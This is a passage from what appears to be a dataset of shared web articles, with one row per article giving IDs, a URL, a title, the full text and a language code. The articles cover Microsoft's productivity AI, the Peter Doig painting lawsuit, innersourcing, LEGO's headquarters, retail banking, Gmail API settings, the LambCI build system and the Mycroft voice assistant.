morning, or around dinner time, for example. ""This idea of using conversation, using contextual information about you, with your permission, to make you speedier and make you feel like you're in control, that's the stuff we get really excited about,"" Ash says. ""A lot of our user experience work is around simplification, removing friction, and really showing the power of intelligence."" One of Ash's favorite examples is called ""commitments."" With your permission, Outlook can take note of the fact that your boss asked you to send her something by the end of the week - and automatically remind you if you fail to respond. ""My life is pretty complicated, and I tend to forget things - especially in emails,"" Ash says. Recently he forgot to respond to a request from his own boss, he says, but Cortana notified in time for him to address it. I see more of this kind of thing when I meet with Kirk Koenigsbauer, corporate vice president of marketing for Office. He shows me a range of ways where intelligence is making Office easier to use. In September 2014 Microsoft introduced Delve, a kind of Fitbit for productivity that is included with Office 365. The app analyzes how much time you spend in email and in meetings, and highlights times on your calendar where you have extended periods of time to do more complicated, meaningful work. It tells you what percentage of people you sent an email to actually read it, and how quickly. It will suggest reaching out to colleagues that you haven't emailed in a while. It even shows you response times for your colleagues, and for yourself. If your organization lives in Google Apps, as do many big Silicon Valley companies, browsing Delve felt like a revelation. You don't have to be a numbers nerd to find this kind of information useful. If you're a manager, Delve can tell you at a glance how much time you've spent with each of your employees over the past week. This kind of intelligence isn't as sexy as a general AI that anticipates your every need - but it's here today, it works, and it makes Google Apps look like a neglected backwater by comparison. After six months of searching for a killer bot, I'm still bullish on the concept generally. The interactions they enable are vastly richer than the 1-800 numbers and forgotten small-business websites they will eventually replace. But I've been disappointed by much of what we've seen on platforms like Facebook Messenger and Telegram: at times they have felt like the slowest way to use the internet . Most seem barely more functional than SmarterChild-era bots on AOL Instant Messenger, and all the typing they require sends me screaming back to button-based graphical interfaces. For now the discussion around bots and AI remains driven by the industry's desire for a profitable new platform, rather than consumer demand for the services they provide. When bots do their work in the background, they can feel a little bit like magic Companies' response to that problem so far has been, essentially, that they're working on it. ""Like many of these advanced technologies, people assume it's all here today,"" said Mike Schroepfer, chief technology officer at Facebook, when I asked him about it in May. ""And there's a lot more technology and work to be developed. I think this will improve month over month, year over year."" And yet visiting Microsoft made me wonder if I hadn't been thinking about the subject in the wrong way. Chat-based interfaces are generally tedious. But the machine learning that powers them, applied to tools you're already using, is really quite powerful. If Microsoft can infuse Delve-like intelligence into a wider range of services, it can reasonably say that it offers the most powerful productivity suite in the world. There will be tremendous value in that even if its vision of a massive platform for powering chatbots never materializes. And it may not - at this early stage, bots in the foreground too often feel frustratingly dumb. But when they do their work in the background, they can feel a little bit like magic. Illustrations by Pete Ryan. Edited by Dieter Bohn.",en
1467976359,CONTENT SHARED,-3105075547863520421,-2979881261169775358,1029350956737027370,,,,HTML,http://www.nytimes.com/2016/07/10/arts/design/peter-doig-painting-lawsuit.html,Peter Doig sued for disavowing 40-year-old painting,"The painting is signed ""Pete Doige 76."" ""I am 100 percent convinced that this is the man and that this is the painting I own,"" Mr. Fletcher said in an interview. He became the young man's parole officer and also helped him find a job through the Seafarers International Union. He said he bought the painting because he feared Mr. Doige might go back to selling drugs. About five years ago, a friend noticed the painting on Mr. Fletcher's wall and told him it was by a famous artist. When Mr. Fletcher pulled up a video and watched Mr. Doig speaking at a college, he said, he recognized his facial expressions and mannerisms, and now feels let down by someone he believes he helped, and wants to be proved right. Mr. Fletcher, who lives in Sault Ste. Marie, Ontario, consigned it to a gallery in Chicago on the recommendation of his brother, who lives there. The gallery, run by Peter Bartlow, contacted an auctioneer, hoping no doubt for a payday similar to those achieved by several recent Doig sales. Mr. Fletcher and Mr. Bartlow said the painting contains many similarities to Mr. Doig's undisputed works, such as a horizontal striped landscape, a body of water, logs protruding from a lake, even white lichen on the trees. A Sotheby's specialist, to whom they sent an image of the picture, said it was ""rare to see such a complete and highly resolved early painting by Doig"" and said it had Mr. Doig's ""trademark eeriness of the empty landscape,"" though she later said she never inspected it firsthand and did not authenticate it, according to court papers. ""There are so many of defendant Doig's commonly used techniques and elements in the disputed work that it could be the most typical of all of his works,"" Mr. Fletcher and Mr. Bartlow say in court papers. Mr. Doig, however, said they are taking advantage of the similarity in two people's names so as to profit from a far-fetched tale. Yes, he grew up in Canada before attending art school in England. But in 1976 he was only 16 or 17, and lived in Toronto. He has never been to Thunder Bay, he said, and was never incarcerated. He denies there are similarities to his own works. ""I did not begin to paint on canvas until late 1979. (Before that, I had done some pencil and ink drawings on paper),"" he said in court papers. Never to this day, he said in an interview, has he used acrylic paint on canvas. ""If I had painted that painting when I was 16, I would admit it."" Mr. Doig and his lawyers say they have identified the real artist, a man named Peter Edward Doige. He died in 2012, but his sister said he had attended Lakehead University, served time in Thunder Bay and painted. ""I believe that Mr. Fletcher is mistaken and that he actually met my brother, Peter, who I believe did this painting,"" the sister, Marilyn Doige Bovard, said in a court declaration. She said the work's desert scene appeared to show the area in Arizona where her mother moved after a divorce and where her brother spent some time. She recognized, she said, the saguaro cactus in the painting. The prison's former art teacher recognized a photograph of Ms. Bovard's brother as a man who had been in his class and said he had watched him paint the painting, according to the teacher's affidavit. Mr. Fletcher and Mr. Bartlow have no record of Mr. Doig being imprisoned in Thunder Bay, but they said that's because he was a minor and his records were probably expunged, or paperwork was just lost. (In June, The New York Times asked the Ontario authorities to search their records in an effort to come up with conclusive evidence. They were able to easily search only records going back as far as 1985; a deeper search would take more than six weeks.) Mr. Doig plans to present his own set of records, school documents, correspondence, photos and testimony to demonstrate, he said, that he never attended Lakehead University and that during the months in 1975 and 1976, when he is said to have created the painting, he actually was in Toronto or working on oil rigs in western Canada or traveling outside the country. He asked the judge to dismiss the case, arguing that he should not be tried in Illinois. But Judge Gary Feinerman of United States District Court decided in April this was a dispute that could be resolved only at trial. ""The presence of the Lakehead and the Seafarers records for Doige, but not for Doig, certainly favors Doig,"" Judge Feinerman said in his decision. ""There is no doubt about that. But it's not strong enough evidence, given all of the evidence in the record,"" the judge said, to eliminate any chance that Doig ""was not the person at Thunder Bay who was the author of the painting."" Mr. Bartlow said that, at first, he thought Mr. Doig disowned the painting because he was embarrassed by that period in his life. But Mr. Doig has never denied his association with past drug use . Some of his paintings have been inspired, in part, by LSD. Now, Mr. Bartlow said he thinks the artist refuses to acknowledge the painting because it shows he has been using similar formulaic compositions for four decades. Mr. Bartlow has made dozens of videos to demonstrate his case, some posted on YouTube . He financed some of the costs of bringing suit by soliciting contributions from about six or seven private contacts, with whom he promised to share some of any payouts. ""There is no question that Peter Doig painted the painting,"" he said. ""You see the outline of our painting in his other works."" Both sides plan to call experts to debate this point. The drawn-out process is a stressful distraction for an artist at the peak of his talents, said Gordon VeneKlasen, Mr. Doig's dealer at Michael Werner Gallery in New York. ""This has become about much more than Peter's painting,"" Mr. VeneKlasen said. ""It's about authorship. It's about being forced to put your name on another artist's work."" In a statement, he went further: ""In our case, the artist and dealer have the resources to carry on this fight, but I wonder about all the artists who might not. Do they simply acquiesce and let inauthentic works into the market if they are the product of a similar attempt at bullying and rampant greed?"" To win, art lawyers say, Mr. Fletcher and his advisers will have to persuade the judge that the painting is real. But even if the court favors Mr. Fletcher, it could be a hollow victory. Since the artist himself and the dealer who represents him say it's not a Doig, the art market is unlikely to assign much value to it, art experts said. A decision against Mr. Doig, and any costly award for damages, would nevertheless probably send a shock wave through the art world. ""It would,"" said Nicholas M. O'Donnell, a Boston art lawyer who has no role in the case, ""put all artists in the cross hairs.""",en
1467977110,CONTENT SHARED,-306538960798971040,6756039155228175109,4392480411901977476,,,,HTML,https://about.gitlab.com/2016/07/07/trends-version-control-innersourcing/,Trends in Version Control Land: Innersourcing,"We're starting a series of posts that explore existing and growing trends in version control. This week we're looking at innersourcing. As a follow-up/update to a post we did on innersourcing back in 2014 , we'll be looking at what innersourcing is, who's using it, and how it's solving some of the biggest problems enterprise developers face. What innersourcing means Innersourcing is a growing trend in the private sector as more and more commercial companies are starting to adopt open source processes in order to work and collaborate more effectively. In large organizations, developers are often spread out across different departments. These developers may never meet and might not even report to the same boss or have access to the same departmental strategies. However, they have a lot to gain in terms of collaboration and learning from each other. In short, innersourcing is a way of improving developer collaboration within enterprise teams using the workflow models typically associated with open source projects (also composed of developers working at distance, without much communication otherwise). Companies like PayPal (a leader in innersourcing) are demonstrating how open source development practices work to make more efficient and profitable businesses, even if the ""open"" in ""open source"" really only extends as far as one organization's team. Other innersourcing pioneers include Bosch, Autodesk, Bloomberg, and SanDisk; these companies are proving that you can run a complex project-and create amazing products for profit-using the same lean and inexpensive system that we use in open source. How innersourcing works When it comes down to the nuts and bolts, large organizations have a lot in common with big open source projects. In both scenarios you're dealing with a lot of moving parts: a variety of people with different roles, skills and personalities; a variety of tools; a variety of directives and strategies. One of the major differences is in how large organizations run. In the traditional ""corporate"" model, an organization functions according to the knowledge and instructions of a hierarchy of managers. In part, the efficiency of the organization relies on the ability of people in managerial roles to keep track of large amounts of incoming information. With so much information funnel up into a managerial bottleneck, it's not surprising that a number of things may fall through the cracks. As projects get more complex or more people get involved, more things will fall through the cracks. In open source projects, the information related to development is managed through a process of documentation and checks that are designed to avoid anything falling through the cracks. The most important open source workflow practices for enterprises are: Visibility Forking Pull/merge requests Testing Continuous Integration Documentation Issue tracker* *Refer back to our 2014 post for more detail on these terms if you're not familiar. Problems innersourcing solves Here are some of the problems often faced by large organizations that innersourcing could help solve. Communication. In big organizations, there usually isn't one unified team working toward a single goal. Instead, employees tend to be siloed into multiple teams that have their own structures and leadership, and are largely disconnected. Communication norms and terminologies can vary from team to team, and generally speaking, communication is minimal and not very effective between silos. Open source systems enable participation at a large scale. The lines of communication are direct and visible to everyone in the project. Communication hierarchies are pretty flat, cutting out a lot of the middlemen and thus a lot of the noise. Discovery. A software solution can be created multiple times in different departments, essentially multiplying effort, simply because departments aren't talking to each other. For example, one department has created a software solution, another department needs that functionality, but there's no process for checking whether it's been created already. They to open source projects is that they're open. Having access to the project means that you can search to see if someone has already solved the problem that your team is facing. If for some reason you don't search ahead of starting work on something, there are other people in your project who can see what you're working on and alert you that your solution already exists. Open source projects increase the discovery of existing solutions and help reduce the duplication of effort. Red tape. In most commercial environments, there organizational structures that dictate what you can access. Often times you may be aware that a solution exists but you'd need to request access to a project from an administrator. This takes precious time away from both the developer and the administrator. With open source projects, if you want to work on a project or see a project, you already have access. This cuts out the administrative work and delays of having to manage request for access, control who can see what, password-protect things, etc. Making modifications. In a traditional commercial setting, if you have read-only access to a project, you don't have the permissions or capability to edit or add a feature you want-you have to ask someone else to do it. If they don't have time or don't see the point, you basically have no recourse. The team responsible for the app is tasked with ensuring their app meets deadlines and works, so someone's job depends on maintaining that application. Even though another team might benefit from this new feature, the request to change the application could interfere with application stability, so granting access is a risk. If a developer can't get access to make modifications that are needed, this will lead to essentially need to build your own unique codebase or application to solve the problem, and furthermore this might happen multiple times, with multiple people running into the same exact issue. This leads to a lot of apps being built separately to solve the same problem. If you want to make a change to an open source project, you don't need to check to make sure it's okay (and find out it's not). Instead, you contribute the change you want to see, and let the system test its functionality and validity: first you fork from the codebase, then make your modification. Then you do a merge request, based on which the other developer can verify it, ask questions, test it and so on. The other developer's work is significantly reduced compared to the proprietary model, because a) they didn't have to do the extra work themselves, and b) your feature has been tested so they know it works. Everybody wins. There's the added benefit too that this approach reduces load on the report generator overall, since it only has to support a single codebase instead of eight. Particularly for teams who work collaboratively across distance-which is most teams now-and organizations with multiple departments, innersourcing is a relatively simple way to create a more efficient workflow. It's a fantastic approach to help your company break down internal communications silos and to encourage more effective collaboration. It can also be used for faster developer onboarding, and it can even set your company up to contribute software back to the open source community. This is great for your company profile and it could even help you to attract top-notch talent to your development team. Using GitLab for innersourcing A growing number of enterprises use GitLab to enable this workflow internally. To make this easier, we've introduced a third visibility level for projects: instead of just public projects (visible to the whole world) or private projects (visible only to the participants) you can also mark a project as internal. Internal projects are visible to everyone that is logged into the on-premises GitLab server. This way all employees can reuse software, fork it, and contribute back. This means your code is secure, but you get all the benefits of an open source workflow. Is your company adopting innersourcing? We'd love to hear how it's going. Connect with us on Twitter @GitLab or leave a comment here. Install GitLab on your own server in 2 minutes → Browse all posts",en
1467980673,CONTENT SHARED,-8937070974333045193,6756039155228175109,4392480411901977476,,,,HTML,http://osdelivers.blackducksoftware.com/2012/08/29/inner-sourcing-adopting-open-source-development-processes-in-corporate-it/,Adopting Open Source Development Processes in Corporate IT,"Compared to many engineering disciplines, software development - which began in earnest in the mid-20 th Century - is still in its youth. The science and art of software development have progressed in two broad threads: the tools themselves (IDEs, compilers, languages, frameworks, build/CI systems, etc.) and the development methodologies employed - which together determine the efficiency, scalability and flexibility of the development process. At the same time, development processes have evolved from closed, completely internal and highly controlled processes to more collaborative, agile and open approaches, utilizing many open source components. The methodologies have evolved considerably, as have the tools that enable these methods - from ad hoc to waterfall to agile. Today, we are hearing from customers more and more frequently that they want to gain the benefits of open source community-style collaborative development inside their corporate development organizations - what Tim O'Reilly has called "" inner-sourcing ."" Tim O'Reilly coined the term ""inner-sourcing"" in 2000, describing it as: ""the use of open source development techniques within the corporation."" Tim observed even back then that the collaborative, self-motivated, meritocratic process of open source development was different and had several potential advantages over traditional development, particularly on dimensions of improving quality (the multiple eyeballs phenomenon noted by Eric Raymond in ""The Cathedral and the Bazaar"" in 1999), the ability to enhance innovation (multiple brains collaborating on the same problem), and the sharing and reuse of code. Prof. Dirk Riehle, University Erlangen-Nurnberg, Germany, describes "" inner source "" in much the same way, and his research on open collaboration within corporations finds similar benefits. Open source techniques and communities - and the code they produce - have grown and evolved significantly since then, and are still accelerating. Consider that the number of unique open source projects will exceed 600,000 this year, has been growing 35-40% CAGR for the last six years - and more than doubled in the last two alone. ""Outsourcing"" began in the 1980s and accelerated in the 1990s as development organizations worked through an early wave of cost cutting and efficiency initiatives. Competition forced development teams to prioritize and focus on what they did well and where they could deliver premium value in the software they created. Development of non-core, low value features/functions were ""outsourced"" to the cheapest bidder, and outsourcing helped deliver more value from increasingly scarce internal development resources. Inner-sourcing is driven by similar but more evolved motivations. Corporate IT has made extensive use of open source code for years. Gartner reported that on average, 29% of deployed code was open source, and that by 2015 at least 95% of mainstream IT organizations will leverage open source solutions within mission critical software deployments. So while open source code is being widely adopted, it's only recently that corporate IT became interested in the efficiencies of the open, collaborative creation process itself. Projects spin up quickly and attract contributors organically without advertising or hiring; large distributed teams produce high quality innovative code with little overhead; and it's all done completely in the open. Open collaborative development via communities is widely understood and accepted, and corporate IT organizations are realizing that these characteristics can be applied to improve their internal development as well, and many are looking to apply them to enhance their own internal methods, typically in conjunction with adopting agile or lean methodologies. Given the inbound interest into Black Duck's Olliance Group on this topic, in my view, this will soon become an influential method within development organizations. The benefits these organizations are consistently looking for, when exploring inner-sourcing, include: Code reuse Better quality Improved innovation Cross-organization visibility into code, projects, skillsets Cross-organization collaboration, buy-in Developer engagement and morale, motivation, volunteerism Let's take a look at the characteristics of open source methods that will enable and empower inner-sourcing: Transparent and Collaborative In a corporate IT environment, transparency and collaboration can enable people with expert resources to contribute and provide feedback where previously it was not possible, it can compel and attract engagement, and attract new community members, perhaps contributing in their spare time, i.e., corporate developers paradoxically ""moonlighting"" or volunteering for other projects within their own company. Self-organized Developers decide to join (or not) and contribute to projects based on a number of factors including how interesting the work is, the ability to make an impact and be recognized for it, whether the person considering engaging needs the software or finds it valuable. The more transparent the process, the more information will be available, and the better that information will be for potential contributors to act or respond. Corporate IT developers share many of the same motivational self-interests of open source community developers around solving problems and being recognized for their contributions. Providing higher levels of visibility and information in a systematic way enables developers to volunteer and self-organize around areas of interest and/or their unique skills and capabilities. In the corporate IT case, the organization must sponsor and endorse the process, but not dictate. In the best-practice cases Black Duck has worked with, there is often a cross-department, self-formed and managed steering group that provides the leadership and ""activation energy"" that gets the community-style collaboration going. Meritocratic The open source community values and provides public feedback, both positive and negative, on contributions and contributors. While some open source communities exhibit somewhat harsh personal criticisms, many participants value its apolitical nature, for if you can succeed in a difficult environment, you can burnish your reputation. Recognition of one's contributions can be in the form of individual comments and feedback. Some communities have created an infrastructure for the community to provide recognition of achievements. Jono Bacon, the Ubuntu Community Manager from Canonical, recently wrote an excellent blog about their approach for recognizing achievements: ""The Gamification of Community."" In a corporate environment, peer feedback and recognition can be a new and powerful form of motivation, while ""gamification"" techniques can provide more formal recognition tailored to corporate objectives. While I've been describing inner-sourcing methods, it's important to note that development tools are evolving in this area as well, and enabling more social aspects of development. The source code management (SCM) project Git first took hold in the open source community as its dynamic forking and merging capability was well-suited to the distributed and independent nature of the open process. Git is becoming widely adopted in corporate IT environments indicating the willingness and interest of developers to exploit the same non-linear development benefits. Git's popularity in corporate IT is an example of how developer self-interests can be a powerful positive force. Another enhancement to the development tool set is likely to include a way to capture actionable metadata on the code, contributions and contributors, and make it available to the internal community. Making metadata available, such as performance attributes and behavioral data (coding trends, comments, commits per developer, etc.) provide insights which can foster collaboration and suggest areas for process innovation. We've seen this work on Ohloh.net , the free community resource we sponsor, and expect corporate IT would benefit from it as well. It's no secret that corporate IT seeks to increase efficiency, scalability and quality. Inner-sourcing can provide a new approach to achieving these benefits, and it has already been proven - in thousands of successful open source project communities. And while many will observe that community-driven open source processes have been outpacing standard corporate IT processes for years, the level of interest I see on the part of corporate IT suggests that is about to change. Follow Us:",en
1467982561,CONTENT SHARED,358192030955601318,-1130272294246983140,5253165022949525032,,,,HTML,http://www.b9.com.br/65902/arquitetura/nova-sede-da-lego-na-dinamarca-e-toda-sobre-colaboracao/,A nova sede da LEGO na Dinamarca é toda sobre colaboração,"Quem pensa que trabalhar na LEGO é uma eterna brincadeira, está enganado. Claro que também pode significar muita diversão, mas trata-se de administrar um negócio de 5.2 bilhões de dólares. É por isso que na expansão de sua sede, que está sendo construída em Billund, na Dinamarca, a empresa quer valorizar muito mais a colaboração entre as pessoas do que forçar a barra num ambiente descolado e colorido. Do lado de fora, a construção - batizada de ""People House"" - parece uma junção de blocos gigantes, com muitas referências (ainda que não óbvias) ao design que transformou a LEGO na segunda maior fabricante de brinquedos do mundo (só ficando atrás da Mattel ). Do lado de dentro, porém, os espaços são abertos e encorajam o contato direto entre as pessoas, longe das mesas de trabalho. Os quatro andares do edifício contam com janelas enormes, com bastante entrada de luz natural, e os pisos circulares permitem uma visão geral de todo o lugar. Isso parte da crença da empresa de que atualmente menos trabalho acontece atrás de um computador e muito mais das conexões casuais entre as pessoas. É por isso que o espaço oferece mesas, cadeiras, sofás e estacões de trabalho temporárias por todo lado, incentivando assim os encontros para reuniões inesperadas. No terraço tem mini golfe, e praticamente todo o lado externo é um parque público. O novo quartel general da LEGO vai abrigar 4 mil funcionários - a população da cidade de Billund é de apenas 6 mil habitantes, pra se ter uma ideia - e a expectativa é de que fique pronto em 2020.",pt
1467984444,CONTENT SHARED,-8854146354650101086,-1032019229384696495,-1187079779874414785,,,,HTML,https://www.linkedin.com/pulse/future-retail-banking-thorsten-linz,"Within a Decade, Retail Banks will be Dead","A соuрlе of weeks ago, I found myself sitting with a numbеr оf bank еxесutivеѕ оvеr lunсh at Singularity University's Exponential Finance conference in New York аnd we discussed futurе trends within rеtаil banking. Aѕ thе соnvеrѕаtiоn went on, we started discussing wаѕ whаt gоеѕ оn inѕidе a brаnсh, bесаuѕе it's thе рubliс fасе оf ѕо many financial inѕtitutiоnѕ. Thеѕе days, retail banking is going through аn unсеrtаin реriоd. Sоmе bаnkѕ likе Citigrоuр are tаlking lауоffѕ аnd brаnсh сlоѕurеѕ whilе оthеr banks are dоubling down аnd building nеw lосаtiоnѕ. Thе layouts for nеw Bank оf America branches lооk more likе a Stаrbuсkѕ, whilе floor plans for оthеr institutions look like thе mаin bridge of Stаrѕhiр Entеrрriѕе. Big bаnkѕ аrе rоlling оut futuriѕtiс brаnсhеѕ tо kеер up with the technology сutting-еdgе, but ассоrding tо finаnсiаl tесhnоlоgу experts, it'ѕ a mаjоr wаѕtе оf timе аnd money. Within a dесаdе thе rеtаil bank brаnсh mоdеl will be dead. "" Finаnсе will be thе most disrupted induѕtrу in thе nеxt 10 уеаrѕ ,"" ѕаid Pеtеr Diamandis, executive сhаirmаn and со-fоundеr оf Singulаritу Univеrѕitу, at thе Exроnеntiаl Finаnсе соnfеrеnсе in Nеw Yоrk Citу. Thе mоѕt оbviоuѕ loser, ассоrding tо еxреrtѕ, iѕ аt thе lеvеl оf the rеtаil brаnсhеѕ. ""Bank brаnсhеѕ will mоѕt be gоnе ... thiѕ decade,"" Diamandis said. Brеtt King, fоundеr оf mоbilе banking арр Moven, ѕаid thе banking induѕtrу will experience mоrе diѕruрtiоn in the nеxt 10 years thаn in thе рrеviоuѕ 300 years. Bу 2020 аt lеаѕt 66 percent оf thе global рорulаtiоn will be online, ассоrding tо a соnѕеrvаtivе estimate frоm PHD Vеnturеѕ. Thаt wоuld mean аn аdditiоnаl 3 billiоn glоbаl consumers. Diаmаndiѕ thinkѕ thаt numbеr will соmе in even higher-as mаnу аѕ 5 billiоn new соnѕumеrѕ-bасkеd bу Intеrnеt-еxраnѕiоn рrоjесtѕ like Mаrk Zuckerberg's Internet.org аnd Gооglе'ѕ Prоjесt Loon. Thаt'ѕ 3 tо 5 billiоn nеw customers not ассоuntеd fоr in the global есоnоmу today entering it. I don't knоw whу finаnсiаl ѕеrviсеѕ соmраniеѕ dоn't get it. Thе biggеѕt bаnkѕ in thе world in 2025 will bе technology companies, and bаnkѕ thаt grеw thrоugh brаnсh acquisitions in the '80ѕ аnd '90ѕ, thаt grеw bу рhуѕiсаl bаnk рrеѕеnсе, will hаvе a rеаl рrоblеm. Thеу mау hаvе to givе аwау the retail business."" A big rеаѕоn for thе bold predictions аbоut the divеrgеnt fоrtunеѕ оf bаnking аррѕ аnd branches: Thеrе аrе more than 8,000 fintесh ѕtаrt-uрѕ just in thе U.S. tоdау, and probably double that number outside of the U.S. There is also mоrе venture сарitаl invеѕtmеnt in fintech thаn trаditiоnаl banking induѕtrу invеѕtmеnt in bаnk transformation. Yеt, right nоw thе big-bаnk thinking iѕ thе орроѕitе: Many bаnkѕ соntinuе tо mаkе thе miѕtаkе оf spending ѕignifiсаnt ѕumѕ on bank brаnсhеѕ that lооk mоrе likе Aррlе ѕtоrеѕ thinking the соnѕumеrѕ will rеturn. ""It'ѕ nоt a dеѕign issue. It's nоt branches nоt being pretty еnоugh. It's a bеhаviоr рrоblеm, аdding, pеорlе juѕt don't need brаnсhеѕ, аnd this dесlinе will ѕрееd. In 2020 mоrе people will bе bаnking оn thеir mobile phones thаn hаvе еvеr banked bеfоrе, аnd thаt'ѕ juѕt fivе уеаrѕ аwау. Technologies such as artificial intelligence, robotics and blockchain making it more convenient for customers to take care of their day to day banking business. The time for big banks to meet consumers' needs is now - otherwise the banking business as we know it will be gone.",la
1467986172,CONTENT SHARED,-4318248821095057296,-1387464358334758758,-9112209817694674691,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/07/gmail-api-new-endpoints-for-settings.html,Gmail API: New endpoints for settings,"If you've been pining for a way to update your users' email signatures with a different inspirational quote each day or enable ""Out of Office"" auto-replies when their calendars are marked as busy, then you're in luck. Today, we're extending the Gmail API with new endpoints for managing settings. These new endpoints cover the following features: Filters Forwarding addresses and auto-forwarding IMAP and POP settings Send-as aliases Signatures Vacation responder With this update, we're equipping developers with some new tools that have never been available in any previous Google API. These include the ability to: Retrieve and update signatures for send-as aliases Configure forwarding to external addresses Configure send-as aliases that send mail through external providers Use HTML in vacation messages Manipulate settings for gmail.com accounts Over time we'll continue to expand the API with additional settings features such as support for managing mailbox delegates, so stay tuned for more announcements. Most of the settings endpoints are available for any Google Apps or Gmail account, but a few sensitive operations, such as modifying send-as aliases or forwarding, are restricted to service accounts with domain-wide authority . See the reference docs for more details and to get started. What about the existing Email Settings API in the Admin SDK? This update to the Gmail API effectively replaces the older Email Settings API , so we're also announcing its deprecation today and will turn it down fully on July 7, 2017 . We've put together a migration guide to assist clients in porting their existing integrations over to their newer counterparts in the Gmail API. If you have any issues, check out the gmail-api tag on StackOverflow. We look forward to seeing what you build with these new features in the Gmail API! Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1467992229,CONTENT SHARED,-5879360586463363298,3891637997717104548,-3159742872959650153,,,,HTML,https://medium.com/@hichaelmart/lambci-4c3e29d6599b,Introducing LambCI - a serverless build system,"Introducing LambCI - a serverless build system I'm excited to announce the first release of LambCI , an open-source continuous integration tool built on AWS Lambda �� LambCI is a tool I began building over a year ago to run tests on our pull requests and branches at Uniqlo Mobile . Inspired at the inaugural ServerlessConf a few weeks ago, I recently put some work into hammering it into shape for public consumption. It was borne of a dissatisfaction with the two current choices for automated testing on private projects. You can either pay for it as a service (Travis, CircleCI, etc) - where 3 developers needing their own build containers might set you back a few hundred dollars a month. Or you can setup a system like Jenkins, Strider, etc and configure and manage a database, a web server and a cluster of build servers . In both cases you'll be under- or overutilized, waiting for servers to free up or paying for server power you're not using. And this, for me, is where the advantage of a serverless architecture really comes to light: 100% utilization, coupled with instant invocations. Systems built on solutions like AWS Lambda and Google Cloud Functions essentially have per-build pricing. You'd pay the same for 100 concurrent 30 second builds as you would for 10 separate 5 minute builds. The LambCI Advantage From an ops perspective, all of the systems and capacity are managed by Amazon (SNS, Lambda, DynamoDB and S3), so LambCI is far simpler to setup and manage than Jenkins - especially given that you get 100 concurrent builds out of the box. From a cost perspective, it's typically far cheaper for private builds than the various SaaS offerings because you only pay for the time you use (and the first 4,444 mins/mth are free): So if you had 2 developers, each simultaneously running sixty 4-min builds per day (ie, 4 hrs each), LambCI would be more than 8 times cheaper per month than Travis ($15 vs $129). It's only if you need to be running builds 24/7 that SaaS options become more competitive - and of course if you're wanting to run builds for your open source projects, then Travis and CircleCI and others all have great (free) options for that. Performance-wise, Lambda reports as a dual Xeon E5-2680 @2.80GHz. If you have checked-in dependencies and fast unit tests, builds can finish in single-digit seconds - but a larger project like dynalite , with 941 HTTP-to-localhost integration tests, builds in about 70 seconds. 43 secs of that is actually running the tests with the remainder being mostly npm installation. On my 1.7GHz i7 MacBook Air the npm install and tests complete about 20% faster, so there's definitely an element of ""cloud"" speed to keep in mind. The public Travis option takes only a few seconds longer than LambCI to run dynalite's npm install and tests, but the overall build time is larger due to worker startup time (22 secs) and waiting in the queue (up to several mins - I assume this only happens if you don't have enough concurrency). What does it look like? Here's what it looks like in action - this is building a project with only a handful of tests and checked-in dependencies, so this is definitely faster than it is when building our typical projects, but I promise this is real and all running remotely on AWS Lambda:",en
1467995048,CONTENT SHARED,-8167536150098135304,-1443636648652872475,-6806289249100069316,,,,HTML,https://insights.ubuntu.com/2016/07/07/mycroft-the-open-source-answer-to-natural-language-platforms/,Mycroft: The open source answer to natural language platforms,"We're thrilled to be working with Mycroft , the open source answer to proprietary natural language platform. Mycroft has adopted Ubuntu Core and Snaps to deliver their software to Mycroft hardware, as well as Snaps to enable desktop users to install the software regardless of the Linux distribution they are using! CEO of Mycroft, Joshua Montgomery, explains more within his piece below. One of the best things about the open source community is that it brings in talent from unexpected places. When people think about tech they usually think of San Francisco, Tokyo or London - not Kansas. But thanks to the inclusiveness of open source little Lawrence, Kansas is home to one of our community's most innovative projects - Mycroft. Mycroft is the open source answer to proprietary natural language platforms like Apple's Siri or Amazon's Alexa . Users can speak to the software naturally and receive a natural response. For example, if a user asks ""Mycroft, how is the weather in Seattle"", the system responds by saying ""It is currently 60 degrees and raining. It is always 60 degrees and raining in Seattle."" In addition to voice responses, Mycroft can launch applications and initiate commands, so the platform can be used as a voice interface for almost anything. Developers are currently working to integrate Mycroft into devices ranging from a wireless speaker to an automobile. Funded through a successful Kickstarter campaign , the team has been developing the software since April 2015 and released Mycroft to the public on May 20. Though the Kickstarter campaign revolved around the Mycroft reference device - a wireless speaker based on Raspberry Pi and Arduino - the software can be run on anything from a tablet to an automobile. The Mycroft project has now released 3 packages - Adapt, Mimic and Mycroft Core. Adapt is an intent parser that takes in natural language and uses it to determine the user's intent. Mimic is a text to speech engine based on the voice of Ubuntu community manager Alan Pope. Mimic takes in text and converts it to audio for playback. Mycroft Core is the software that ties everything together and makes it useful. Mycroft Core includes a keyword recognition loop and a framework for deploying skills. Skills can include anything from executing a shell command to searching DuckDuckGo. The Mycroft Skills Framework makes it easy for developers to implement new abilities for the platform. Skills are limited only by a developer's imagination and can include anything from controlling a drone to answering questions about Pokemon. The idea behind Mycroft is to allow users to voice enable any type of device - desktops, mobile devices, speakers, robots - anything that can benefit from natural language processing. That is why the company is adopting Ubuntu Core. By deploying Mycroft on Ubuntu Core it is easy to install and update Mycroft without worrying about the underlying environment. This frees our developers to focus on creating a superb natural user interaction and fantastic skills rather than operating system issues. Not only are we using Ubuntu Core and Snaps to deliver our software to the Mycroft hardware, but we are also working to use Snaps to enable desktop users to install the software regardless of the Linux distribution they are using. We see Snaps as a fantastic way to ensure users get the best Mycroft experience, by not having to worry about system library version mismatches or old versions of Mycroft in a distribution's repositories. We are confident that delivering Mycroft using Snappy will provide a positive experience for our users. The ultimate goal of the Mycroft project is to provide an experience so natural that it is impossible for users to determine if they are talking to a human or a machine. This will enable users to interact with their technology naturally. Of course, there is a lot of work to be done to achieve this goal. The speech-to-text component of the project OpenSTT needs to be completed, the Mimic engine needs support for additional languages and Mycroft Core needs enhancements. Developers interested in trying Mycroft or contributing to the project can find the source code at",en
